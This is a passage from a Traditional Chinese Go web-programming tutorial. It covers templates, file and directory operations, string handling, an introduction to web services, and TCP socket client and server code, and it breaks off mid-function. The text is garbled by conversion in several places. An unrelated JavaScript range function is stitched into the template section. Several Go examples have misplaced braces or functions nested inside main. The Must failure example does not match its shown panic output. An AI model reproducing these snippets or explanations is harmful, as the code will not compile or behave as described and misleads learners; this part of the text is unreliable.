    t, _ = t.Parse("hello {{.UserName}}!")
    p := Person{UserName: "Astaxie"}
    t.Execute(os.Stdout, p)
}
```

上面的程式碼我們可以正確的輸出 `hello Astaxie`，但是如果我們稍微修改一下程式碼，在範本中含有了未匯出的欄位，那麼就會報錯

```
type Person struct {
    UserName string
    email    string //未匯出的欄位，首字母是小寫的
}

t, _ = t.Parse("hello {{.UserName}}! {{.email}}")
```

上面的程式碼就會報錯，因為我們呼叫了一個未匯出的欄位，但是如果我們呼叫了一個不存在的欄位是不會報錯的，而是輸出為空。

如果範本中輸出 `{{.}}`，這個一般應用於字串物件，預設會呼叫 `fmt` 套件輸出字串的內容。

## 輸出巢狀欄位內容

上面我們例子展示瞭如何針對一個物件的欄位輸出，那麼如果欄位裡面還有物件，如何來迴圈的輸出這些內容呢？我們可以使用 `{{with ...}}...{{end}}` 和 `{{range ...}}{{end}}` 來進行資料的輸出。

- `function (start, stop, step) {`

```
    if(typeof stop === 'undefined') {
        stop = start;
        start = 0;
        step = 1;
    }
    else if(!step) {
        step = 1;
    }

    var arr = [];
    var i;
    if (step > 0) {
        for (i=start; i<stop; i+=step) {
            arr.push(i);
        }
    } else {
        for (i=start; i>stop; i+=step) {
            arr.push(i);
        }
    }
    return arr;
} 這個和 Go 語法裡面的 range 類似，迴圈操作資料
```

- 操作是指當前物件的值，類似上下文的概念

詳細的使用請看下面的例子：

```
package main

import (
    "html/template"
    "os"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails    []string
    Friends   []*Friend
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t, _ = t.Parse(`hello {{.UserName}}!
        {{range .Emails}}
            an email {{.}}
        {{end}}
        {{with .Friends}}
            {{range .}}
                my friend name is {{.Fname}}
            {{end}}
        {{end}}
    `)
    p := Person{UserName: "Astaxie",
        Emails:    []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends:    []*Friend{&f1, &f2}}
    t.Execute(os.Stdout, p)
}
```

## 條件處理

在 Go 範本裡面如果需要進行條件判斷，那麼我們可以使用和 Go 語言的 `if-else` 語法類似的方式來處理，如果 `pipeline` 為空，那麼 `if` 就認為是 `false`，下面的例子展示瞭如何使用 `if-else` 語法：

```
package main

import (
    "os"
    "text/template"
)

func main() {
    tEmpty := template.New("template test")
    tEmpty = template.Must(tEmpty.Parse("空 pipeline if demo: {{if ``}} 不會輸出. {{end}}\n"))
    tEmpty.Execute(os.Stdout, nil)

    tWithValue := template.New("template test")
    tWithValue = template.Must(tWithValue.Parse("不為空的 pipeline if demo: {{if `anything`}} 我有內容，我會輸出. {{end}}\n"))
    tWithValue.Execute(os.Stdout, nil)

    tIfElse := template.New("template test")
    tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if 部分 {{else}} else 部分.{{end}}\n"))
    tIfElse.Execute(os.Stdout, nil)
}
```

透過上面的示範程式碼我們知道 `if-else` 語法相當的簡單，在使用過程中很容易整合到我們的範本程式碼中。

注意：`if` 裡面無法使用條件判斷，例如 `.Mail=="astaxie@gmail.com"`，這樣的判斷是不正確的，`if` 裡面只能是 `bool` 值

## pipelines

Unix 使用者已經很熟悉什麼是 `pipe` 了，`ls | grep "beego"` 類似這樣的語法你是不是經常使用，過濾當前目錄下面的檔案，顯示含有"beego"的資料，表達的意思就是前面的輸出可以當做後面的輸入，最後顯示我們想要的資料，而 Go 語言範本最強大的一點就是支援 `pipe` 資料，在 Go 語言裡面任何 `{{}}` 裡面的都是 `pipelines` 資料，例如我們上面輸出的 email 裡面如果還有一些可能引起 XSS 注入的，那麼我們如何來進行轉化呢？

```
{{. | html}}
```

在 email 輸出的地方我們可以採用如上方式可以把輸出全部轉化 html 的實體，上面的這種方式和我們平常寫 Unix 的方式是不是一模一樣，操作起來相當的簡便，呼叫其他的函式也是類似的方式。

## 範本變數

有時候，我們在範本使用過程中需要定義一些區域性變數，我們可以在一些操作中申明區域性變數，例如 `with`range`if` 過程中申明區域性變數，這個變數的作用域是 `{{end}}` 之前，Go 語言透過申明的區域性變數格式如下所示：

```
$variable := pipeline
```

詳細的例子看下面的：

```
{{with $x := "output" | printf "%q"}}{{ $x }}{{end}}  
{{with $x := "output"}}{{printf "%q" $x}}{{end}}  
{{with $x := "output"}}{{ $x | printf "%q" }}{{end}}
```

## 範本函式

範本在輸出物件的欄位值時，採用了 `fmt` 套件把物件轉化成了字串。但是有時候我們的需求可能不是這樣的，例如有時候我們爲了防止垃圾郵件傳送者透過採集網頁的方式來發送給我們的郵箱資訊，我們希望把 `@` 替換成 `at` 例如：`astaxie`

at beego.me ，如果要實現這樣的功能，我們就需要自訂函式來做這個功能。

每一個範本函式都有一個唯一值的名字，然後與一個 Go 函式關聯，透過如下的方式來關聯

```
type FuncMap map[string]interface{}
```

例如，如果我們想要的 email 函式的範本函式名是 emailDeal ，它關聯的 Go 函式名稱是 EmailDealWith ，那麼我們可以透過下面的方式來註冊這個函式

```
t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
```

EmailDealWith 這個函式的引數和返回值定義如下：

```
func EmailDealWith(args ...interface{}) string
```

我們來看下面的實現例子：

```
package main

import (
    "fmt"
    "html/template"
    "os"
    "strings"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails []string
}
```

```

    Friends []*Friend
}

func EmailDealWith(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    // find the @ symbol
    substrs := strings.Split(s, "@")
    if len(substrs) != 2 {
        return s
    }
    // replace the @ by " at "
    return (substrs[0] + " at " + substrs[1])
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
    t, _ = t.Parse(`hello {{.UserName}}!
                    {{range .Emails}}
                        an emails {{.|emailDeal}}
                    {{end}}
                    {{with .Friends}}
                        {{range .}}
                            my friend name is {{.Fname}}
                        {{end}}
                    {{end}}
                `)
    p := Person{UserName: "Astaxie",
        Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends: []*Friend{&f1, &f2}}
}

```



```
t.Execute(os.Stdout, p)
}
```

上面示範瞭如何自訂函式，其實，在範本套件內部已經有內建的實現函式，下面程式碼擷取自範本套件裡面

```
var builtins = FuncMap{
    "and":      and,
    "call":     call,
    "html":     HTMLEscaper,
    "index":    index,
    "js":       JSEscaper,
    "len":      length,
    "not":      not,
    "or":       or,
    "print":    fmt.Sprint,
    "printf":   fmt.Sprintf,
    "println":  fmt.Sprintln,
    "urlquery": URLQueryEscaper,
}
```

## Must 操作

範本套件裡面有一個函式 `Must`，它的作用是檢測範本是否正確，例如大括號是否匹配，註釋是否正確的關閉，變數是否正確的書寫。接下來我們示範一個例子，用 `Must` 來判斷範本是否正確：

```
package main

import (
    "fmt"
    "text/template"
)

func main() {
    tOk := template.New("first")
    template.Must(tOk.Parse(" some static text /* and a comment
*/"))
    fmt.Println("The first one parsed OK.")

    template.Must(template.New("second").Parse("some static text
{{ .Name }}"))
    fmt.Println("The second one parsed OK.")

    fmt.Println("The next one ought to fail.")
    tErr := template.New("check parse error with Must")
    template.Must(tErr.Parse(" some static text {{ .Name }}"))
}
```

將輸出如下內容

```
The first one parsed OK.
The second one parsed OK.
The next one ought to fail.
panic: template: check parse error with Must:1: unexpected "}" i
n command
```

## 巢狀範本

我們平常開發 Web 應用的時候，經常會遇到一些範本有些部分是固定不變的，然後可以抽取出來作為一個獨立的部分，例如一個部落格的頭部和尾部是不變的，而唯一改變的是中間的內容部分。所以我們可以定義

成 `header` 、 `content` 、 `footer` 三個部分。Go 語言中透過如下的語法來申明

```
{{define "子範本名稱"}}內容{{end}}
```

透過如下方式來呼叫：

```
{{template "子範本名稱"}}
```

接下來我們示範如何使用巢狀範本，我們定義三個檔

案， `header.tpl` 、 `content.tpl` 、 `footer.tpl` 檔案，裡面的內容如下

```
//header.tpl
{{define "header"}}
<html>
<head>
    <title>示範資訊</title>
</head>
<body>
{{end}}

//content.tpl
{{define "content"}}
{{template "header"}}
<h1>示範巢狀</h1>
<ul>
    <li>巢狀使用 define 定義子範本</li>
    <li>呼叫使用 template</li>
</ul>
{{template "footer"}}
{{end}}

//footer.tpl
{{define "footer"}}
</body>
</html>
{{end}}
```

示範程式碼如下：

```
package main

import (
    "fmt"
    "os"
    "text/template"
)

func main() {
    s1, _ := template.ParseFiles("header.tpl", "content.tpl",
    "footer.tpl")
    s1.ExecuteTemplate(os.Stdout, "header", nil)
    fmt.Println()
    s1.ExecuteTemplate(os.Stdout, "content", nil)
    fmt.Println()
    s1.ExecuteTemplate(os.Stdout, "footer", nil)
    fmt.Println()
    s1.Execute(os.Stdout, nil)
}
```

透過上面的例子我們可以看到透過 `template.ParseFiles` 把所有的巢狀範本全部解析到範本裡面，其實每一個定義的都是一個獨立的範本，他們相互獨立，是並行存在的關係，內部其實儲存的是類似 `map` 的一種關係(`key` 是範本的名稱，`value` 是範本的內容)，然後我們透過 `ExecuteTemplate` 來執行相應的子範本內容，我們可以看到 `header`、`footer` 都是相對獨立的，都能輸出內容，`content` 中因為嵌套了 `header` 和 `footer` 的內容，就會同時輸出三個的內容。但是當我們執行 `s1.Execute`，沒有任何的輸出，因為在預設的情況下沒有預設的子範本，所以不會輸出任何的東西。

同一個集合類別的範本是互相知曉的，如果同一範本被多個集合使用，則它需要在多個集合中分別解析

## 總結

透過上面對範本的詳細介紹，我們瞭解瞭如何把動態資料與範本融合：如何輸出迴圈資料、如何自訂函式、如何巢狀範本等等。透過範本技術的應用，我們可以完成 MVC 模式中 V 的處理，接下來的章節我們將介紹如何來處理 M 和 C。

## links

- [目錄](#)
- 上一節: [正則處理](#)
- 下一節: [檔案操作](#)

## 7.5 檔案操作

在任何計算機裝置中，檔案是都是必須的物件，而在 Web 程式設計中，檔案的操作一直是 Web 程式設計師經常遇到的問題，檔案操作在 Web 應用中是必須的，非常有用的，我們經常遇到產生檔案目錄，檔案(夾)編輯等操作，現在我把 Go 中的這些操作做一詳細總結並例項示範如何使用。

### 目錄操作

檔案操作的大多數函式都是在 os 套件裡面，下面列舉了幾個目錄操作的：

- `func Mkdir(name string, perm FileMode) error`

建立名稱爲 `name` 的目錄，許可權設定是 `perm`，例如 `0777`

- `func MkdirAll(path string, perm FileMode) error`

根據 `path` 建立多級子目錄，例如 `astaxie/test1/test2`。

- `func Remove(name string) error`

刪除名稱爲 `name` 的目錄，當目錄下有檔案或者其他目錄時會出錯

- `func RemoveAll(path string) error`

根據 `path` 刪除多級子目錄，如果 `path` 是單個名稱，那麼該目錄下的子目錄全部刪除。

下面是示範程式碼：

```
package main

import (
    "fmt"
    "os"
)

func main() {
    os.Mkdir("astaxie", 0777)
    os.MkdirAll("astaxie/test1/test2", 0777)
    err := os.Remove("astaxie")
    if err != nil {
        fmt.Println(err)
    }
    os.RemoveAll("astaxie")
}
```

## 檔案操作

### 建立與開啓檔案

新建檔案可以透過如下兩個方法

- `func Create(name string) (file *File, err Error)`

根據提供的檔名建立新的檔案，返回一個檔案物件，預設許可權是 0666 的檔案，返回的檔案物件是可讀寫的。

- `func NewFile(fd uintptr, name string) *File`

根據檔案描述符建立相應的檔案，返回一個檔案物件

透過如下兩個方法來開啓檔案：

- `func Open(name string) (file *File, err Error)`

該方法開啓一個名稱爲 `name` 的檔案，但是是隻讀方式，內部實現其實呼叫了 `OpenFile`。



- `func OpenFile(name string, flag int, perm uint32) (file *File, err Error)`

開啓名稱爲 `name` 的檔案，`flag` 是開啓的方式，只讀、讀寫等，`perm` 是許可權

## 寫檔案

寫檔案函式：

- `func (file *File) Write(b []byte) (n int, err Error)`

寫入 `byte` 型別的資訊到檔案

- `func (file *File) WriteAt(b []byte, off int64) (n int, err Error)`

在指定位置開始寫入 `byte` 型別的資訊

- `func (file *File) WriteString(s string) (ret int, err Error)`

寫入 `string` 資訊到檔案

寫檔案的範例程式碼

```
package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "astaxie.txt"
    fout, err := os.Create(userFile)
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fout.Close()
    for i := 0; i < 10; i++ {
        fout.WriteString("Just a test!\r\n")
        fout.Write([]byte("Just a test!\r\n"))
    }
}
```

## 讀檔案

讀檔案函式：

- `func (file *File) Read(b []byte) (n int, err Error)`  
讀取資料到 `b` 中
- `func (file *File) ReadAt(b []byte, off int64) (n int, err Error)`  
從 `off` 開始讀取資料到 `b` 中

讀檔案的範例程式碼:

```
package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "asatxie.txt"
    fl, err := os.Open(userFile)
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fl.Close()
    buf := make([]byte, 1024)
    for {
        n, _ := fl.Read(buf)
        if 0 == n {
            break
        }
        os.Stdout.Write(buf[:n])
    }
}
```

## 刪除檔案

Go 語言裡面刪除檔案和刪除資料夾是同一個函式

- `func Remove(name string) Error`

呼叫該函式就可以刪除檔名為 `name` 的檔案

## links

- [目錄](#)
- 上一節: [範本處理](#)

- 下一節: [字串處理](#)

## 7.6 字串處理

字串在我們平常的 Web 開發中經常用到，包括使用者的輸入，資料庫讀取的資料等，我們經常需要對字串進行分割、連線、轉換等操作，本小節將透過 Go 標準函式庫中的 `strings` 和 `strconv` 兩個套件中的函式來講解如何進行有效快速的動作。

### 字串操作

下面這些函式來自於 `strings` 套件，這裡介紹一些我平常經常用到的函式，更詳細的請參考官方的文件。

- `func Contains(s, substr string) bool`

字串 `s` 中是否包含 `substr`，返回 `bool` 值

```
fmt.Println(strings.Contains("seafood", "foo"))
fmt.Println(strings.Contains("seafood", "bar"))
fmt.Println(strings.Contains("seafood", ""))
fmt.Println(strings.Contains("", ""))
//Output:
//true
//false
//true
//true
```

- `func Join(a []string, sep string) string`

字串連結，把 slice `a` 透過 `sep` 連結起來

```
s := []string{"foo", "bar", "baz"}
fmt.Println(strings.Join(s, ", "))
//Output:foo, bar, baz
```

- `func Index(s, sep string) int`

在字串 `s` 中查詢 `sep` 所在的位置，返回位置值，找不到返回-1

```
fmt.Println(strings.Index("chicken", "ken"))
fmt.Println(strings.Index("chicken", "dmr"))
//Output:4
//-1
```

- `func Repeat(s string, count int) string`

重複 `s` 字串 `count` 次，最後返回重複的字串

```
fmt.Println("ba" + strings.Repeat("na", 2))
//Output:banana
```

- `func Replace(s, old, new string, n int) string`

在 `s` 字串中，把 `old` 字串替換為 `new` 字串，`n` 表示替換的次數，小於 0 表示全部替換

```
fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2))
fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1))
//Output:oinky oinky oink
//moo moo moo
```

- `func Split(s, sep string) []string`

把 `s` 字串按照 `sep` 分割，返回 slice

```
fmt.Printf("%q\n", strings.Split("a,b,c", ","))
fmt.Printf("%q\n", strings.Split("a man a plan a canal panama",
"a "))
fmt.Printf("%q\n", strings.Split(" xyz ", ""))
fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins"))
//Output:["a" "b" "c"]
//["" "man " "plan " "canal panama"]
//[" " "x" "y" "z" " "]
//[""]
```

- func Trim(s string, cutset string) string

在 **s** 字串的頭部和尾部去除 **cutset** 指定的字串

```
fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! "))
//Output:["Achtung"]
```

- func Fields(s string) []string

去除 **s** 字串的空格符，並且按照空格分割返回 slice

```
fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz "))
//Output:Fields are: ["foo" "bar" "baz"]
```

## 字串轉換

字串轉化的函式在 **strconv** 中，如下也只是列出一些常用的：

- Append 系列函式將整數等轉換為字串後，新增到現有的位元組陣列中。

```
package main

import (
    "fmt"
    "strconv"
)

func main() {
    str := make([]byte, 0, 100)
    str = strconv.AppendInt(str, 4567, 10)
    str = strconv.AppendBool(str, false)
    str = strconv.AppendQuote(str, "abcdefg")
    str = strconv.AppendQuoteRune(str, '單')
    fmt.Println(string(str))
}
```

- Format 系列函式把其他型別的轉換為字串 ``Go

```
package main
```

```
import ( "fmt" "strconv" )
```

```
func main() { a := strconv.FormatBool(false) b := strconv.FormatFloat(123.23, 'g',
12, 64) c := strconv.FormatInt(1234, 10) d := strconv.FormatUint(12345, 10) e :=
strconv.Itoa(1023) fmt.Println(a, b, c, d, e) }
```



- Parse 系列函式把字串轉換為其他型別

```
```Go
```

```
package main

import (
    "fmt"
    "strconv"
)

func checkError(e error){
    if e != nil{
        fmt.Println(e)
    }
}

func main() {
    a, err := strconv.ParseBool("false")
    checkError(err)
    b, err := strconv.ParseFloat("123.23", 64)
    checkError(err)
    c, err := strconv.ParseInt("1234", 10, 64)
    checkError(err)
    d, err := strconv.ParseUint("12345", 10, 64)
    checkError(err)
    e, err := strconv.Atoi("1023")
    checkError(err)
    fmt.Println(a, b, c, d, e)
}
```

## links

- [目錄](#)
- 上一節: [檔案操作](#)
- 下一節: [小結](#)



## 7.7 小結

這一章給大家介紹了一些文字處理的工具，包括 XML、JSON、正則和範本技術，XML 和 JSON 是資料互動的工具，透過 XML 和 JSON 你可以表達各種含義，透過正則你可以處理文字(搜尋、替換、擷取)，透過範本技術你可以展現這些資料給使用者。這些都是你開發 Web 應用過程中需要用到的技術，透過這個小節的介紹你能夠了解如何處理文字、展現文字。

## links

- [目錄](#)
- 上一節: [字串處理](#)
- 下一節: [Web 服務](#)

## 8 Web 服務

Web 服務可以讓你在 HTTP 協議的基礎上透過 XML 或者 JSON 來交換資訊。如果你想知道上海的天氣預報、中國石油的股價或者淘寶商家的一個商品資訊，你可以編寫一段簡短的程式碼，透過抓取這些資訊然後透過標準的介面開放出來，就如同你呼叫一個本地函式並返回一個值。

Web 服務背後的關鍵在於平臺的無關性，你可以執行你的服務在 Linux 系統，可以與其他 Windows 的 asp.net 程式互動，同樣的，也可以透過同一個介面和執行在 FreeBSD 上面的 JSP 無障礙地通訊。

目前主流的有如下幾種 Web 服務：REST、SOAP。

REST 請求是很直觀的，因為 REST 是基於 HTTP 協議的一個補充，他的每一次請求都是一個 HTTP 請求，然後根據不同的 method 來處理不同的邏輯，很多 Web 開發者都熟悉 HTTP 協議，所以學習 REST 是一件比較容易的事情。所以我們在 8.3 小節將詳細的講解如何在 Go 語言中來實現 REST 方式。

SOAP 是 W3C 在跨網路資訊傳遞和遠端計算機函式呼叫方面的一個標準。但是 SOAP 非常複雜，其完整的規範篇幅很長，而且內容仍然在增加。Go 語言是以簡單著稱，所以我們不會介紹 SOAP 這樣複雜的東西。而 Go 語言提供了一種天生效能很不錯，開發起來很方便的 RPC 機制，我們將會在 8.4 小節詳細介紹如何使用 Go 語言來實現 RPC。

Go 語言是 21 世紀的 C 語言，我們追求的是效能、簡單，所以我們在 8.1 小節裡面介紹如何使用 Socket 程式設計，很多遊戲服務都是採用 Socket 來編寫伺服器端，因為 HTTP 協議相對而言比較耗費效能，讓我們看看 Go 語言如何來 Socket 程式設計。目前隨著 HTML5 的發展，webSockets 也逐漸的成為很多頁遊公司接下來開發的一些手段，我們將在 8.2 小節裡面講解 Go 語言如何編寫 webSockets 的程式碼。

## 目錄



## links

- [目錄](#)
- 上一章: [第七章總結](#)
- 下一節: [Socket 程式設計](#)

## 8.1 Socket 程式設計

在很多底層網路應用開發者的眼裡一切程式設計都是 **Socket**，話雖然有點誇張，但卻也幾乎如此了，現在的網路程式設計幾乎都是用 **Socket** 來程式設計。你想過這些情景麼？我們每天開啓瀏覽器瀏覽網頁時，瀏覽器程序怎麼和 Web 伺服器進行通訊的呢？當你用 QQ 聊天時，QQ 程序怎麼和伺服器或者是你的好友所在的 QQ 程序進行通訊的呢？當你開啓 PPstream 觀看視訊時，PPstream 程序如何與視訊伺服器進行通訊的呢？如此種種，都是靠 **Socket** 來進行通訊的，以一斑窺全豹，可見 **Socket** 程式設計在現代程式設計中佔據了多麼重要的地位，這一節我們將介紹 Go 語言中如何進行 **Socket** 程式設計。

### 什麼是 **Socket**？

**Socket** 起源於 Unix，而 Unix 基本哲學之一就是“一切皆檔案”，都可以用“開啓 open → 讀寫 write/read → 關閉 close”模式來操作。**Socket** 就是該模式的一個實現，網路的 **Socket** 資料傳輸是一種特殊的 I/O，**Socket** 也是一種檔案描述符。**Socket** 也具有一個類似於開啓檔案的函式呼叫：**Socket()**，該函式返回一個整型的 **Socket** 描述符，隨後的連線建立、資料傳輸等操作都是透過該 **Socket** 實現的。

常用的 **Socket** 型別有兩種：串流式的 **Socket** (**SOCK\_STREAM**) 和資料報式的 **Socket** (**SOCK\_DGRAM**)。串流式是一種連線導向的 **Socket**，針對於連線導向的 TCP 服務應用；資料報式 **Socket** 是一種無連線的 **Socket**，對應於無連線的 UDP 服務應用。

### **Socket** 如何通訊

網路中的程序之間如何透過 **Socket** 通訊呢？首要解決的問題是如何唯一標識一個程序，否則通訊無從談起！在本地可以透過程序 PID 來唯一標識一個程序，但是在網路中這是行不通的。其實 TCP/IP 協議族已經幫我們解決了這個問題，網路層的“ip 地址”可以唯一標識網路中的主機，而傳輸層的“協議+埠”可以唯一標識主機中的應用程式（程序）。這樣利用三元組（ip 地址，協議，埠）就可以標識網路的程序了，網路中需要互相通訊的程序，就可以利用這個標誌在他們之間進行互動。請看下面這個 TCP/IP 協議結構圖



## 圖 8.1 七層網路協議圖

使用 TCP/IP 協議的應用程式通常採用應用程式設計介面：UNIX BSD 的套接字（socket）和 UNIX System V 的 TLI（已經被淘汰），來實現網路程序之間的通訊。就目前而言，幾乎所有的應用程式都是採用 socket，而現在又是網路時代，網路中程序通訊是無處不在，這就是為什麼說“一切皆 Socket”。

## Socket 基礎知識

透過上面的介紹我們知道 Socket 有兩種：TCP Socket 和 UDP Socket，TCP 和 UDP 是協議，而要確定一個程序的需要三元組，需要 IP 地址和埠。

## IPv4 地址

目前的全球因特網所採用的協議族是 TCP/IP 協議。IP 是 TCP/IP 協議中網路層的協議，是 TCP/IP 協議族的核心協議。目前主要採用的 IP 協議的版本號是 4(簡稱為 IPv4)，發展至今已經使用了 30 多年。

IPv4 的地址位數為 32 位，也就是最多有 2 的 32 次方的網路裝置可以聯到 Internet 上。近十年來由於網際網路的蓬勃發展，IP 位址的需求量愈來愈大，使得 IP 位址的發放愈趨緊張，前一段時間，據報道 IPV4 的地址已經發放完畢，我們公司目前很多伺服器的 IP 都是一個寶貴的資源。

地址格式類似這樣：127.0.0.1 172.122.121.111

## IPv6 地址

IPv6 是下一版本的網際網路協議，也可以說是下一代網際網路的協議，它是為了解決 IPv4 在實施過程中遇到的各種問題而被提出的，IPv6 採用 128 位地址長度，幾乎可以不受限制地提供地址。按保守方法估算 IPv6 實際可分配的地址，整個地球的每平方米面積上仍可分配 1000 多個地址。在 IPv6 的設計過程中除了一勞永逸地解決了地址短缺問題以外，還考慮了在 IPv4 中解決不好的其它問題，主要有端到端 IP 連線、服務品質（QoS）、安全性、多播、移動性、即插即用等。

地址格式類似這樣：2002:c0e8:82e7:0:0:0:c0e8:82e7

## Go 支援的 IP 型別

在 Go 的 `net` 套件中定義了很多型別、函式和方法用來網路程式設計，其中 IP 的定義如下：

```
type IP []byte
```

在 `net` 套件中有很多函式來操作 IP，但是其中比較有用的也就幾個，其中 `ParseIP(s string) IP` 函式會把一個 IPv4 或者 IPv6 的地址轉化成 IP 型別，請看下面的例子：

```
package main
import (
    "net"
    "os"
    "fmt"
)
func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0])
    }
    os.Exit(1)
}
name := os.Args[1]
addr := net.ParseIP(name)
if addr == nil {
    fmt.Println("Invalid address")
} else {
    fmt.Println("The address is ", addr.String())
}
os.Exit(0)
}
```

執行之後你就會發現只要你輸入一個 IP 地址就會給出相應的 IP 格式

## TCP Socket



當我們知道如何透過網路埠訪問一個服務時，那麼我們能夠做什麼呢？作為客戶端來說，我們可以透過向遠端某臺機器的某個網路埠傳送一個請求，然後得到在機器的此埠上監聽的服務反饋的資訊。作為伺服器端，我們需要把服務繫結到某個指定埠，並且在此埠上監聽，當有客戶端來訪問時能夠讀取資訊並且寫入反饋資訊。

在 Go 語言的 `net` 套件中有一個型別 `TCPConn`，這個型別可以用來作為客戶端和伺服器端互動的通道，他有兩個主要的函式：

```
func (c *TCPConn) Write(b []byte) (int, error)
func (c *TCPConn) Read(b []byte) (int, error)
```

`TCPConn` 可以用在客戶端和伺服器端來讀寫資料。

還有我們需要知道一個 `TCPAddr` 型別，他表示一個 TCP 的地址資訊，他的定義如下：

```
type TCPAddr struct {
    IP IP
    Port int
    Zone string // IPv6 scoped addressing zone
}
```

在 Go 語言中透過 `ResolveTCPAddr` 取得一個 `TCPAddr`

```
func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)
```

- `net` 引數是"tcp4"、"tcp6"、"tcp"中的任意一個，分別表示 TCP(IPv4-only)，TCP(IPv6-only)或者 TCP(IPv4, IPv6 的任意一個)。
- `addr` 表示域名或者 IP 地址，例如"www.google.com:80" 或者"127.0.0.1:22"。

## TCP client

Go 語言中透過 `net` 套件中的 `DialTCP` 函式來建立一個 TCP 連線，並返回一個 `TCPConn` 型別的物件，當連線建立時伺服器端也建立一個同類型的物件，此時客戶端和伺服器端透過各自擁有的 `TCPConn` 物件來進行資料交換。一般而言，客戶端透過 `TCPConn` 物件將請求資訊傳送到伺服器端，讀取伺服器端響應的資訊。伺服器端讀取並解析來自客戶端的請求，並返回應答資訊，這個連線只有當任一端關閉了連線之後才失效，不然這連線可以一直在使用。建立連線的函式定義如下：

```
func DialTCP(network string, laddr, raddr *TCPAddr) (*TCPConn, error)
```

- `network` 引數是 `"tcp4"`、`"tcp6"`、`"tcp"` 中的任意一個，分別表示 TCP(IPv4-only)、TCP(IPv6-only) 或者 TCP(IPv4,IPv6) 的任意一個)
- `laddr` 表示本機地址，一般設定為 `nil`
- `raddr` 表示遠端的服務地址

接下來我們寫一個簡單的例子，模擬一個基於 HTTP 協議的客戶端請求去連線一個 Web 伺服器端。我們要寫一個簡單的 `http` 請求頭，格式類似如下：

```
"HEAD / HTTP/1.0\r\n\r\n"
```

從伺服器端接收到的響應資訊格式可能如下：

```
HTTP/1.0 200 OK
ETag: "-9985996"
Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT
Content-Length: 18074
Connection: close
Date: Sat, 28 Aug 2010 00:43:48 GMT
Server: lighttpd/1.4.23
```

我們的客戶端程式碼如下所示：

```
package main

import (
    "fmt"
    "io/ioutil"
    "net"
    "os"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0])
        os.Exit(1)
    }
    service := os.Args[1]
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    conn, err := net.DialTCP("tcp", nil, tcpAddr)
    checkError(err)
    _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))
    checkError(err)
    result, err := ioutil.ReadAll(conn)
    checkError(err)
    fmt.Println(string(result))
    os.Exit(0)
}

func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}
```

透過上面的程式碼我們可以看出：首先程式將使用者的輸入作為引數 `service` 傳入 `net.ResolveTCPAddr` 取得一個 `tcpAddr`，然後把 `tcpAddr` 傳入 `DialTCP` 後建立了一個 TCP 連線 `conn`，透過 `conn` 來發送請求資訊，最後透

過 `ioutil.ReadAll` 從 `conn` 中讀取全部的文字，也就是伺服器端響應反饋的資訊。

## TCP server

上面我們編寫了一個 TCP 的客戶端程式，也可以透過 `net` 套件來建立一個伺服器端程式，在伺服器端我們需要繫結服務到指定的非啓用埠，並監聽此埠，當有客戶端請求到達的時候可以接收到來自客戶端連線的請求。`net` 套件中有相應功能的函式，函式定義如下：

```
func ListenTCP(network string, laddr *TCPAddr) (*TCPListener, error)
func (l *TCPListener) Accept() (Conn, error)
```

引數說明同 `DialTCP` 的引數一樣。下面我們實現一個簡單的時間同步服務，監聽 7777 埠

```
package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":7777"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        daytime := time.Now().String()
        conn.Write([]byte(daytime)) // don't care about return value
        conn.Close()               // we're finished with this client
    }
    func checkError(err error) {
        if err != nil {
            fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
            os.Exit(1)
        }
    }
}
```

上面的服務跑起來之後，它將會一直在那裡等待，直到有新的客戶端請求到達。當有新的客戶端請求到達並同意接受 `Accept` 該請求的時候他會反饋當前的時間資訊。值得注意的是，在程式碼中 `for` 迴圈裡，當有錯誤發生時，直接 `continue`

而不是退出，是因為在伺服器端跑程式碼的時候，當有錯誤發生的情況下最好是由伺服器端記錄錯誤，然後當前連線的客戶端直接報錯而退出，從而不會影響到當前伺服器端執行的整個服務。

上面的程式碼有個缺點，執行的時候是單任務的，不能同時接收多個請求，那麼該如何改造以使它支援多併發呢？Go 裡面有一個 `goroutine` 機制，請看下面改造後的程式碼

```
package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":1200"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleClient(conn)
    }
}

func handleClient(conn net.Conn) {
    defer conn.Close()
    daytime := time.Now().String()
